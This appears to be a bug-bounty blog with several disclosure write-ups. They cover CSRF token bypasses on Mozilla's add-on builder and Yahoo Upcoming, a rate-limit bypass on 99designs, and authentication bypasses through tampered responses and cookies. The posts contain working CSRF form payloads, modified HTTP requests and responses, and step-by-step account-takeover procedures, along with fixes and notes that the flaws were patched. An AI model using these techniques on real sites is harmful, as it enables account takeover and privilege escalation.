Wednesday, 8 June 2016

Builder.addons.mozilla.org Anti-CSRF Token Bypass


Builder.addons.mozilla.org CSRF Vulnerability




I want to share my another finding on Mozilla which I have reported to them under their bug bounty program.





While
researching and working on bug bounties I have found that we can bypass
Anti-CSRF token validation even when it is getting validated on the
server-side and can execute CSRF. And after that using the CSRF we can delete the Add-ons, can make Private Add-ons as public and can Publish Unpublished Add-ons from victims account.





The


challenge was to execute the CSRF attack by bypassing the Anti-CSRF
token validation. I have found that the Anti-CSRF Token was getting
validated on the server-side. So, I tried to find the weakness in its
validation by various known ways like I tried to re-use one user
Anti-CSRF Token on another user account, then I tried to use the already
used token then I tried to check whether token is getting
validated on not and after that I tried to check that the token
validation is based on full length check and lastly I tried to check
that the token validation is based on partial length check but none of
them worked as the
token was getting
validated on server-side. 





Now

only 3 options left 1st option is that I
have to somehow predict or guess the token, 2nd option is that I
have to find the
weakness in the token validation itself so I tried to analyze the token
pattern, randomness, complexity, full length and partial length based
validation etc but once again none of them worked :P.



And the 3rd option is that I have to find a way using which the CSRF token validation doesn't happen on the server-side so
then I thought why not change the default POST request method to GET method and remove the CSRF token parameter and its value from and send the crafted request I tried that but but again is also not work :P as the CSRF token was properly getting validated on the server-side.



So
then something striked again why not remove the Request Type Header(i.e. XMLHttpRequest) and Change the default method from POST to GET and send it as a normal request instead of XMLHttpRequest without any CSRF token parameter and its value.


So

for that I crafted a CSRF payload as mentioned below in step two, which contains a Request with GET method instead of default POST method and I deleted the CSRF token parameter and its value and also remove the Request Type Header(i.e. XMLHttpRequest) an then I sent this crafted request. Now guess what this crafted request got
executed as the Anti-CSRF Token validated was not happening now on server-side :P and it worked I tried it
on some other test users account also and it worked for all users Bingo :D.



Steps to execute this attack are as following:






1. First copy the actual form submission request.



Actual Form Submission Request with Original Anti-CSRF Token Parameter Value and Request Type Header:



POST /package/delete/157917/ HTTP/1.1

Host: builder.addons.mozilla.org

Cookie: JSESSIONID=SessionValue; Domain=builder.addons.mozilla.org; Secure; HttpOnly

Content-Type: application/x-www-form-urlencoded

Request-Type: XMLHttpRequest



CSRFToken=9H217mdn3h12h1n1j1j1j1j1





2.

After that Modify the default POST method to GET and remove the Anti-CSRF
Token parameter and its random value the request and also remove the XMLHttpRequest request type header from the crafted request.



Add-on Deletion & Anti CSRF Token Bypass(Modified GET
Request after changing the default Method and after Removing the CSRF Token and XMLHttpRequest
request type Header:



<html>

  <body>

    <form action="https://builder.addons.mozilla.org/package/delete/157917/" method="GET">

      <input type="submit" value="Submit form" />

    </form>

  </body>

</html>





3. Then send this crafted CSRF payload code as a link to the victim.



4.
As the victim executes that CSRF payload containing link while he is logged into his account, the victims
account Add-on will be deleted permanently. And same way the victims account Private Add-ons can be made Public and can Publish Unpublished Add-ons.The server will respond as mentioned in the screenshots.



POC:











Rootcause:



Anti-CSRF

Token Parameter CSRFToken and its values validation was based on the Request Method(like POST) and Request Type(i.e. XMLHttpRequest). So
we can simply say that the Token validation was not happening on the server-side if we change the default Method of the request from POST to GET and if  we
remove the XMLHttpRequest request type header from the crafted request and send a normal request without any CSRF token.





Impact:




All Builder.addons.mozilla.org users were vulnerable to this CSRF attack using this
vulnerability the Attacker can bypass the Anti-CSRF Token Validation
and can Delete the Add-ons and make Private Add-ons public from the victims account.





Recommendation:



Anti-CSRF token validation shall not be based on the Request Method Type(i.e POST) and the Request Type Header(i.e. XMLHttpRequest).



The Request Type Header(i.e. XMLHttpRequest) shall be forcefully implemented and normal requests shall not be allowed nor any other Method apart from the Default Method shall be allowed.




Anti-CSRF
Token Csrf_Token and its values
shall never be reusable in the attacker own account and any other users
account.





CSRF token shall be properly validated on server-side instead of only Full & Partial Length Based Validation.





It shall be expired after use and it shall be 1 time useable.





It should be generated randomly on each request.





Instead of POST method PUT method shall be used.






The vulnerability was mitigated by Mozilla Security Team in few days with the following response.












So
in this way, one can bypass Anti-CSRF token validation
and can Delete the Add-ons and make Private Add-ons public from the victims account also this technique can be used to find
same type of vulnerability on different websites.



Suggestions and Feedbacks are welcome.

Thursday, 12 March 2015

Logical Attacks(Vulnerability Research)


Hi Everyone.....please find my video presentation and ppt presentation on Logical
Attacks(Vulnerability Research) which I have presented in Defcon &
OWASP Lucknow International Information Security Conference. this presentation can be helpful in Bug Bounties while doing Bug Hunting,
Vulnerability Research in web applications, mobiles(andriod, ios, win),
webservices, apis etc and for making a career in information security
domain.





Video Presentation:



Part 1: 









Part 2:









PPT Presentation:

Logical Attacks(Vulnerability Research): http://www.slideshare.net/ajaysinghnegi1/logical-attacks-45739506



Sunday, 31 August 2014

Privilege Escalation Using Authentication Bypass





A Way to Gain Super Admin & Admin Privileges By Bypassing Authentication





While
researching and working on bug bounties in late Jan 2013, I have found a
way to Bypass Authentication using which we can Takeover all the
users account of the website and can also gain Super Admin and Admin privileges if that site is vulnerable to this type of
attack.





Using

this vulnerability the attacker can bypass the authentication bypass countermeasure and can predict the login validation
& access control processes for any victims account by combinding a simple technique and in
this way he can also Bypass Authentication of
all passwords of all the accounts and can successfully compromise the
victims account as the login validation process is predictable by the
attacker.



I tried various techniques to Bypass the
Login like Arbitrary Methods Usages, Anonymous Methods Usages but all
these techniques failed, also there was a countermeasures that if we to modify the response can then if we send that modified response code as a request to the server then the server is not responding to the modified request and instead of replying it is dropping the modified request, so now the challenge was to bypass this countermeasure and also to understand the Login
Validation Process and to find a weakness in it. So now I am mentioning
how I was able to Bypass this Countermeasure and the Authentication.






Please Note: There was a precondition that an attacker shall now the victims login id or user id and shall lock the victims account.







During the testing we have found an attacker can bypass authentication of Super Admin, Admin & Normal(Read Only privileged ) users by locking the victims account and by modify the response json message.





Steps to Execute the Attack:




1. Go to the application login page and lock the victims account with 3 wrong password attempts.





2. Now Insert the normal(test) users username and with any random value as password.




3. Intercept the login request and forward it now the original response will be intercepted like mentioned below:





Original Response:



HTTP/1.1 200 OK

Server: Apache-Coyote

Content-disposition: attachment

Content-Type: application/json;charset=utf-8

Content-Length: 88

Date: Wed, 16 Jan 2013 10:05:20 GMT



OK[10,0,0,0,0,["site.com","You Account has been Locked, Please contact Administrator."]]







4. Now modify the original response as mentioned below but don't modify the status code 200 OK or any headers and forward the request, now the attacker successfully logs into the Normal Users(victims) account.





Modified Response to Bypass Authentication of Normal User:



HTTP/1.1 200 OK

Server: Apache-Coyote

Content-disposition: attachment

Content-Type: application/json;charset=utf-8

Content-Length: 44

Date: Wed, 16 Jan 2013 10:09:10 GMT



OK[10,0,0,0,0,["site.com,"N","Normal User"]]



Note: "10" denotes normal user and "N" denotes read only privilege.






5. Now to gain Admin user privileges while doing Authentication Bypass, repeat the step 1,2,3 and then modify the original response as mentioned below but don't modify the status code 200 OK or any headers  and forward the request, now the attacker successfully logs into the Admin Users(victims) account.



HTTP/1.1 200 OK

Server: Apache-Coyote

Content-disposition: attachment

Content-Type: application/json;charset=utf-8

Content-Length: 43

Date: Wed, 16 Jan 2013 10:13:07 GMT



OK[20,0,0,0,0,["site.com,"Y","Admin User"]]



Note: "20" denotes admin user and "Y" denotes write privilege.






6. Now to gain Super Admin user privileges while doing Authentication
Bypass, repeat the step 1,2,3 and then modify the original response as
mentioned below but don't modify the status code 200 OK or any headers
and forward the request, now the attacker successfully logs into the
Super Admin Users(victims) account.




HTTP/1.1 200 OK

Server: Apache-Coyote

Content-disposition: attachment

Content-Type: application/json;charset=utf-8

Content-Length: 49

Date: Wed, 16 Jan 2013 10:17:35 GMT



OK[30,0,0,0,0,["site.com,"Y","Super Admin User"]]
























So in this way we can easily Bypass the Authentication an can gain Super Admin & Admin privileges :).







Impact: 




The Login Validation & Access Control Processes are Predictable using which an attacker can easily compromise any users account of the Application and can gain the Super Admin and Admin privileges also the modified(i.e tempered) response dropping countermeasure was bypassable.









Recommendation:




The
Login Validation shall not be dependent on Response Code Values,
Cookies Values and Json Based Status Code values etc combination. Also
the it shall not be dependent on the Client-Side Validation or on modified request dropping based countermeasures instead
proper Server-Side Validation shall be done for the Correct Passwords and there shall be proper access control.





So in this way one can do Privilege Escalation Using Authentication Bypass and can Bypass the authentication of any victims accounts by bypassing the modified request dropping countermeasure and by using the Login Validation & Access Control Processes Prediction. Also this way can be used
to find same type of
vulnerabilities on many different websites.






Suggestions and Feedbacks are welcome.


Monday, 9 June 2014

Upcoming.yahoo.com Anti-CSRF Token Bypass


Upcoming.yahoo.com CSRF Vulnerability




I want to share my another finding on Yahoo which I have reported to them in April 2013.





While
researching and working on bug bounties I have found that we can bypass
Anti-CSRF token validation even when it is getting validated on the
server-side and can execute CSRF. And after that using the CSRF we can
compromise the victims account by change email id of any users account
on that site to the attackers email id an then we can use the
forget password option to reset the victims account password.





The

challenge was to execute the CSRF attack by bypassing the Anti-CSRF
token validation. I have found that the Anti-CSRF Token was getting
validated on the server-side. So, I tried to find the weakness in its
validation by various known ways like I tried to re-use one user
Anti-CSRF Token on another user account, then I tried to use the already
used token then I tried to check whether token is getting
validated on not and after that I tried to check that the token
validation is based on full length check and lastly I tried to check that the token validation is based on partial length check but none of them worked as the
token was getting
validated on server-side. 





Now
only 2 options left 1st option is that I
have to somehow predict or guess the token and 2nd options is that I
have to find the
weakness in the token validation itself so I tried to analyze the token
pattern, randomness, complexity, full length and partial length based validation etc but once again none of them worked :P so
then something striked again why not compare the anti-csrf token of different users accounts so I found that the each users accounts anti-csrf tokens full length was 90 characters thats means it was constant and first 20 Chars of the anti-csrf token were same for each users accounts and the remaining 70 Chars were different for all users accounts.





So
for that I created 5 dummy account for testing purpose on Yahoo Upcoming and
then crafted a CSRF payload as mentioned below which is containing first 20 Chars value(same for 5 dummy test users accounts) and remaining 70 Chars as a random
value, So the Crafted Anti-CSRF token was having a full length of 90 Chars. 





Then I sent the CSRF request with the crafted Anti-CSRF token of 90 Chars(which contains 20 Chars as same for all users accounts and reamining 70 Chars as any random value) and then the request got executed as the Anti-CSRF Token got
validated on server-side and guess what it worked on 1st user I tried it on all users and its worked for all users Bingo :D.





Steps to execute this attack are as following:






1. First copy the actual form submission request.



Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:



<html>

  <body>

    <form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">

      <input type="hidden" name="new_email" value="victimsemailid@gmail.com" />

      <input type="hidden" name="new_email_check" value="victimsemailid@gmail.com" />

      <input type="hidden" name="Csrf_Token" value="Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur" />

      <input type="hidden" name="Submit" value="Change Email" />

      <input type="submit" value="Submit form" />

    </form>

  </body>

</html>



 2.
After that change the same Anti-CSRF
Token parameter Csrf_token values from Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur 
to Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54 were 1st 20 Chars value is constant and reusable for any other users account and remaining 70 Chars are any random value so the tokens full length is 90 Chars and this crafted token value will be used as an Anti-CSRF
Token.



Account
Compromise & Anti CSRF Token Bypass(Modified Form Submission
Request after changing the Anti-CSRF Token Parameter Value
to 20 Chars Constant, Reusable & 70 Chars are Random Value):



<html>

  <body>

    <form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">

      <input type="hidden" name="new_email" value="attackersemailid@gmail.com" />

      <input type="hidden" name="new_email_check" value="attackersemailid@gmail.com" />

      <input type="hidden" name="CSRF_Token" value="Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54" />

      <input type="hidden" name="Submit" value="Change Email" />

      <input type="submit" value="Submit form" />

    </form>

  </body>

</html>



3. Then send this crafted CSRF payload code as a link to the victim.



4.
As the victim executes that CSRF payload containing link the victims
account email id will be changed and the attack will receive an email to
confirm his email after confirming it, the attacker can use the forget
password option to reset the and compromise the victims account.





Rootcause:



Anti-CSRF
Token Parameter Csrf_Token and its values dmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur
validation was based on Partial Length Token(20 Chars Constant & Reusable) Plus Full Length Token(70 Chars Random Value) Based Validation (i.e Anti-CSRF Token 1st 20 Chars
were Constant & Reusable and remaining 70 Chars were random values so the Tokens Full Length 90 Chars & Partial Length of 20 Reusable & Constant Chars were only getting checked or validated on Server-Side). So
we can simply say that the Token which the system(ie app) generated
Token was not reusable for other users account but the user generated(ie
crafted) Token can be used on victims account as valid CSRF token.






Impact:




All Upcoming.yahoo.com users were vulnerable to this CSRF attack using these
vulnerability the Attacker can bypass the Anti-CSRF Token Validation
and can Compromise the victims account.





Recommendation:




Anti-CSRF
Token Csrf_Token and its values
shall never be reusable in the attacker own account and any other users
account.





CSRF token shall be properly validated on server-side instead of only Full & Partial Length Based Validation.





It shall be expired after use and it shall be 1 time useable.





It should be generated randomly on each request.





Instead of Post method PUT method shall be used.






The vulnerability was mitigated by Yahoo Security Team in 1.5 month.




So
in this way, one can bypass Anti-CSRF token validation and can also
compromise the victims account also this technique can be used to find
same type of vulnerability on different websites.



Suggestions and Feedbacks are welcome.

Monday, 19 May 2014

A Way to Bypass Rate Limiting


Another Way to Bypass Rate Limiting




I want to share one of my finding on account.99designs.com which I have reported to them on 5th May 2014.









I have found that site.com

following Url https://account.99designs.com/sso/1.0.0/login?site=contests&locale=en-us&return=https://99designs.com/sso/login&rd=lNFC-iNCgY5Xnzsq6UvI_ykRl__KUS2MzzhB_Alu5LA= was vulnerable to
Bruteforce attacks even when the Rate-Limting is implement for all the site.com users account and the server is disabling the requests.





So
first I tried to do the Status Code Value or Response Code Value, Length Code
Analysis but it was same as 200 for all Right & Wrong Password
attempts as we hit the 60 Wrong Password Attempts also the error message was generic for all Right & Wrong
Password Attempts.





Then
I tried to do the User-Agent based bruteforce attack by changing the
user-agent to known and anonymous user-agent in header of the each
request but it also failed and then after further more Deep Analysis I
found that there was a parameter named browser was sent using post
method in each request with Wrong or Right Password and this parameter
was containing a value which was the currently used browsers name i.e.
internet+explorer. So, that means the server was checking the User-Agent
using header and also using the browser name parameter and its value
internet+explorer.





So

to find weakness in the Rate Limiting countermeasure 1st sent more then
60 Wrong Password requests using  the browser parameter with the value
internet+explorer as the 60 Wrong Password requests sent the the Rate
Limiting got enabled and it started blocking the wrong or right password
request and was sending the response code and length code
as 200 for all Right & Wrong Password
attempts also the error message was generic for all Right & Wrong
Password Attempts so again it failed. 




After
that I started sending each request with the browser named parameter
value which I changed to any known and also any unknown value as browser
name value. So, then I observed that after more then 60 Wrong Password
Attempts and also even after more then 10000 Wrong Passwords Attempts
the Rate Limiting didn't got enabled nor the
Status Code Value or
Response Code Value, Length Code values changed to 200. Instead for
Right Password it was 302 and for Wrong Pass it was 200.



So,
in this way I was able to Bypass the site.com Rate Limting by changing the browser parameter value in each request and by analyzing
the Status Code Value or Response Code Value, Length Code values
differences.



Original Request:



POST
/sso/1.0.0/login?site=contests&locale=en-us&return=https://99designs.com/sso/login&target=http://99designs.com/&rd=lNFC-iNCgY5Xnzsq6UvI_ykRl__KUS2MzzhB_Alu5LA=
HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
__iswl_account99designscom=0;
sp_id..cf43=f48faee182ec56ef.1399262073.1.1399262078.1399262073;
sp_ses..cf43=*; _msuuid_75mlvfed70=937C0A8D-BDBA-40E7-9632-AA2BB97F051F;
__ssid=69a7009e-a365-4481-87e3-60620271c47d;
CookiedSession=P90fAidSF8hdgPCKZkgn2KdK7sAj0imf4TLPMLiyKU=.K-FAwEBC3Nlc3Npb25EYXRhAf-GAAECAQJJZAEMAAEFU3RvcmUB_4gAAAAh_4cEAQERbWFwW3N0cmluZ11zdHJpbmcB_4gAAQwBDAAAKv-GARZhWW1qc2tlbHo5SVM3UWozamtGeE9IAQEGbG9jYWxlBWVuLXVzAA==
Host: account.99designs.com
Content-Length: 202
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

username=victimemailid@gmail.com&password=shssjssjs&browser=Internet+Explorer&browserversion=10.0&screenresolution=1422x889&operatingsystem=Windows&timezoneoffset=420&csrf_token=aYmjskelz9IS7Qj3jkFxOH




Modified Request:



POST
/sso/1.0.0/login?site=contests&locale=en-us&return=https://99designs.com/sso/login&target=http://99designs.com/&rd=lNFC-iNCgY5Xnzsq6UvI_ykRl__KUS2MzzhB_Alu5LA=
HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
__iswl_account99designscom=0;
sp_id..cf43=f48faee182ec56ef.1399262073.1.1399262078.1399262073;
sp_ses..cf43=*; _msuuid_75mlvfed70=937C0A8D-BDBA-40E7-9632-AA2BB97F051F;
__ssid=69a7009e-a365-4481-87e3-60620271c47d;
CookiedSession=P90fAidSF8hdgPCKZkgn2KdK7sAj0imf4TLPMLiyKU=.K-FAwEBC3Nlc3Npb25EYXRhAf-GAAECAQJJZAEMAAEFU3RvcmUB_4gAAAAh_4cEAQERbWFwW3N0cmluZ11zdHJpbmcB_4gAAQwBDAAAKv-GARZhWW1qc2tlbHo5SVM3UWozamtGeE9IAQEGbG9jYWxlBWVuLXVzAA==
Host: account.99designs.com
Content-Length: 202
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

username=
victimemailid@gmail.com&password=shssjssjs&browser=test+test&browserversion=10.0&screenresolution=1422x889&operatingsystem=Windows&timezoneoffset=420&csrf_token=aYmjskelz9IS7Qj3jkFxOH



In this way the attacker was able to Bypass the Rate Limiting of 99designs.





Impact:





The attacker can
successfully bruteforce the passwords on any users account even when
the rate limiting is enabled and this can lead
to account compromise.








Recommendation:

The Length Code Value for Right & Wrong Passwords shall always be Same for Any Users Account.



Instead of user-agent based validation for enabling the rate limiting user id shall be checked for numbers of wrong password attempts.





The account shall only be unlocked using a email which contains a Un-Lock account link.







The vulnerability was mitigated by 99designs Security Team.



So in this way, one can
Bypass Rate Limiting and can also compromise the victims
account also this technique can be used to find same type of
vulnerabilities on different websites.



Suggestions and Feedback's are welcome.


Wednesday, 7 May 2014

Authentication Bypass & Privilege Escalation Using Header Manipulation & Cookie Injection





A Way to Bypass Authentication & Gain Admin Privilege Using Login Validation Process Prediction





While
researching and working on bug bounties in Feb 2013, I have found a way that Using Header Manipulation & Cookie Injection we can Bypass Authentication and can gain Admin Privilege and using this vulnerability we can Takeover all the
users account of a website if that site is vulnerable to this type of
attack.





Using

this vulnerability the attacker can predict the login validation
process for any admins account by combinding various techniques and in
this way he can also Bypass Authentication of
all passwords of all the Admin accounts and can successfully compromise the Admins account as the login validation process is predictable by the
attacker.



I tried various techniques to Bypass the
Login like Arbitrary Methods Usages, Cookies Manipulation, Status Code Value Modification, Response Code Modification but all
these techniques failed so the challenge was to understand the Login
Validation Process and to find a weakness in it. So now I am mentioning
how I was able to Bypass the Admin Authentication.






Please Note: There was a precondition that an attacker shall know the admins login email id only. This can be done using forget password or even using login Url itself.







Steps to Execute the Attack:


For login validation process analysis I created 2 test accounts.



1.
1st we will send the login request using our own account attackerloginid@testsite.com with a wrong password while intercepting the response for the wrong password using the below
mentioned login link.  



https://testsite.com/user/login



2. Using
which I found that
if the password is wrong then the server response code is 302 Found,
1st Set-Cookie named remember_email value is null and
2nd Set-Cookie named registration_status value is unregistereduser and the
Location
header value is as site login page Url https://testsite.com/user/login.




3. Now we will send the login request using our own account attackerloginid@testsite.com with a right password while intercepting the response for the right password using the below
mentioned login link.  



https://testsite.com/user/login



4. Using
which I found that if the password is right then the server response code is 302 Found,
1st Set-Cookie named remember_email value is attackerloginid@testsite.com and
2nd Set-Cookie named registration_status value is registereduser and the
Location header value is as site Dashborad page Url https://testsite.com/user/accounts/dashboard.



5.
As now we are able to find the variation between the wrong and right
passwords server responses so we know we can Predict the Login
Validation Process for the right password for any victims account and also for the Admin account.



So in simple
words now the attacker will try to login into the victims account using
the login Url and victims user id or login email id which is victimloginid@testsite.com with a wrong password while intercepting the response using any web proxy and he will get the server response code as 302 Found with a 1st Set-Cookie named remember_email with null as value and 2nd Set-Cookie named registration_status with a unregistereduser as value and with the
Location
header value as site Is User login page Url https://testsite.com/user/login.



So now the attacker will add the 1st Set-Cookie named remember_email with a victimloginid@testsite.com as value and 2nd Set-Cookie named registration_status with a registereduser as value and with the
Location
header value as site User Dashboard page Url https://testsite.com/user/accounts/dashboard and forward the request using any web proxy, now the attacker successfully logs into the victims account.



Now to Bypass the Admins login Authentication in same way  the attacker will add the 1st Set-Cookie named remember_email with a adminloginid@testsite.com as value and 2nd Set-Cookie named registration_status with a registeredadmin
as value and with the
Location
header value as site Admin Dashboard page Url https://testsite.com/admin/accounts/dashboard and forward the request
using any web proxy, now the attacker successfully logs into the Admins account and gains the Admin Privilege.



So in this way we can easily Bypass the Admin Authentication as well an Users Athentication :).




Key Points: registration_status cookie value unregistereduser is for a user with wrong password, registereduser id for a user with right password and registeredadmin is for the admin user with right password.


Attacker's Login ID: attackerloginid@testsite.com






Victim's Login ID: victimloginid@testsite.com






Admin's Login ID: adminloginid@testsite.com




Original Server Response Using Attacker's Account with Wrong Password:



HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Tue, 15 Feb 2013 18:30:09 GMT

Location: https://testsite.com/user/login

Set-Cookie: remember_email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: registration_status=unregistereduser; path=/; expires=Fri, 10-Dec-2016 18:32:44 GMT

Status: 302 Found

Vary: Accept-Encoding

X-Runtime: 95

Content-Length: 109

Connection: keep-alive



Original Response Using Attacker's Account with Right Password:



HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Tue, 15 Feb 2013 18:32:22 GMT

Location: https://testsite.com/user/accounts/dashboard

Set-Cookie: remember_email=attackerloginid@testsite.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: registration_status=registereduser; path=/; expires=Fri, 10-Dec-2016 18:32:44 GMT

Status: 302 Found

Vary: Accept-Encoding

X-Runtime: 95

Content-Length: 109

Connection: keep-alive





Modified
Response in which the attacker modified Set-Cookie
& its Value, Status, Location Header and its Value and Sent it as a Request to Bypass Victims Login:




HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Tue, 15 Feb 2013 18:35:43 GMT

Location: https://testsite.com/user/accounts/dashboard

Set-Cookie: remember_email=victimloginid@testsite.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: registration_status=registereduser; path=/; expires=Fri, 10-Dec-2016 18:32:44 GMT

Status: 302 Found

Vary: Accept-Encoding

X-Runtime: 95

Content-Length: 109

Connection: keep-alive






Modified
Response in which the attacker modified Set-Cookie
& its Value, Status, Location Header and its Value and Sent it as a Request to Bypass Victims Login:




HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Tue, 15 Feb 2013 18:40:14 GMT

Location: https://testsite.com/admin/accounts/dashboard

Set-Cookie: remember_email=adminloginid@testsite.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: registration_status=registeredadmin; path=/; expires=Fri, 10-Dec-2016 18:32:44 GMT

Status: 302 Found

Vary: Accept-Encoding

X-Runtime: 95

Content-Length: 109

Connection: keep-alive




Impact: 


The Login Validation Process is Predictable using which an attacker can easily compromise Admins account and any other users account of the Application.







Recommendation:  


The
Login Validation shall not be dependent on Cookies Values and Location Header values combination and the Privileges shall not be granted on the basis of cookie values. Also
the it shall not be dependent on the Client-Side Validation instead
proper Server-Side Validation shall be done for the Correct Passwords.





So in this way one can Takeover or Bypass the authentication of Admins account as well as any users victims accounts using the Using Admin Login Validation Process Prediction also this way can be used
to find same type of
vulnerabilities on many different websites.






Suggestions and Feedbacks are welcome.


Tuesday, 6 May 2014

A Way to Bypass Authentication





Authentication Bypass Using Login Validation Process Prediction







While researching and working on bug bounties in late Dec 2012, I have found a way to Bypass Authentication  using which we can Takeover all the
users account of a website if that site is vulnerable to this type of
attack.





Using
this vulnerability the attacker can predict the login validation process for any victims account by combinding various techniques and in this way he can also Bypass Authentication of
all passwords of all the accounts and can successfully compromise the
victims account as the login validation process is predictable by the attacker.



I tried various techniques to Bypass the Login like Response Code Modification, Arbitrary Methods Usages but all these techniques failed so the challenge was to understand the Login Validation Process and to find a weakness in it. So now I am mentioning how I was able to Bypass the Authentication.






Please Note: There was a precondition that an attacker shall now the victims login id or user id only.







Steps to Execute the Attack:




For login validation process analysis I created 2 test accounts.



1.
1st we will send the login request using our own account attackerloginid with a wrong password while intercepting the response for the wrong password using the below
mentioned login link.  



https://testsite.com/login.jsp



2. Using
which I found that
if the password is wrong then the server response code is 200 OK,
Set-Cookie named pstoken value is null which is generated once and the
status code value is json based as following {"failed":false}.




3. Now the we will send the login request using our own account attackerloginid with a right password while intercepting the response for the right password using the below
mentioned login link.  



https://testsite.com/login.jsp



4. Using
which I found that if the password is right then the server response code is 302 Found,
Set-Cookie named pstoken value is attackers user id or login id md5 hash value is 636559678682db9e21c958a4df44eea4 which is generated twice and the status code value is json
based as following {"success":true}.



5.
As now we are able to find the variation between the wrong and right passwords server responses so you now we can Predict the Login Validation Process for the right password.



So in simple words now the attacker will try to login into the victims account using the login Url and victims user id or login id which is victimloginid with a wrong password while intercepting the response using any web proxy and he will get the server response code as 200 OK with a
Set-Cookie named pstoken with a null value which is generated once and with a
status code value in json as following {"failed":false}.



So now the attacker will modify the response code value 200 OK to 302 Found, will add the Set-Cookie twice which is named as pstoken whose value he will change from null to victims user id or login id md5 hash value which is e9fc2abd9060fde1a67e3367b7d64bd0 and after that he will modify the status code value from {"failed":false} to {"success":true} and forward the request using any web proxy, now the attacker successfully logs into the victims account.



So in this way we can easily Bypass the Authentication :).






Attackers Login ID: attackerloginid md5 hash value:



636559678682db9e21c958a4df44eea4
















Victims Login ID: victimloginid md5 hash value:


e9fc2abd9060fde1a67e3367b7d64bd0



Original Server Response Using Attackers Account with Wrong Password:



HTTP/1.1 200 OK

Date: Wed, 7 May 2014 21:17:27 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: pstoken=; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Content-Length: 16

Connection: close

Content-Type: text/html; charset=UTF-8



{"failed":false}





Original Response Using Attackers Account with Right Password:



HTTP/1.1 302 Found

Date: Wed,  7 May 2014 21:17:27 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: pstoken=636559678682db9e21c958a4df44eea4; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Set-Cookie: pstoken=636559678682db9e21c958a4df44eea4; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Content-Length: 16

Connection: close

Content-Type: text/html; charset=UTF-8



{"success":true}



Modified Response in which the attacker modified the Response Code, Set-Cookies & there Values, Status Code Values and Sent it as a Request:



HTTP/1.1 302 Found

Date: Wed, 7 May 2014 21:17:27 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: pstoken=e9fc2abd9060fde1a67e3367b7d64bd0; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Set-Cookie: pstoken=e9fc2abd9060fde1a67e3367b7d64bd0; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Content-Length: 16

Connection: close

Content-Type: text/html; charset=UTF-8



{"success":true}






Impact: 


The Login Validation Process is Predictable using which an attacker can easily compromise any users account of the Application.







Recommendation:  

The Login Validation shall not be dependent on Response Code Values, Cookies Values and Json Based Status Code values etc combination. Also the it shall not be dependent on the Client-Side Validation instead proper Server-Side Validation shall be done for the Correct Passwords.





So in this way one can Takeover or Bypass the authentication of any victims accounts using the Using Login Validation Process Prediction also this way can be used
to find same type of
vulnerabilities on many different websites.






Suggestions and Feedbacks are welcome.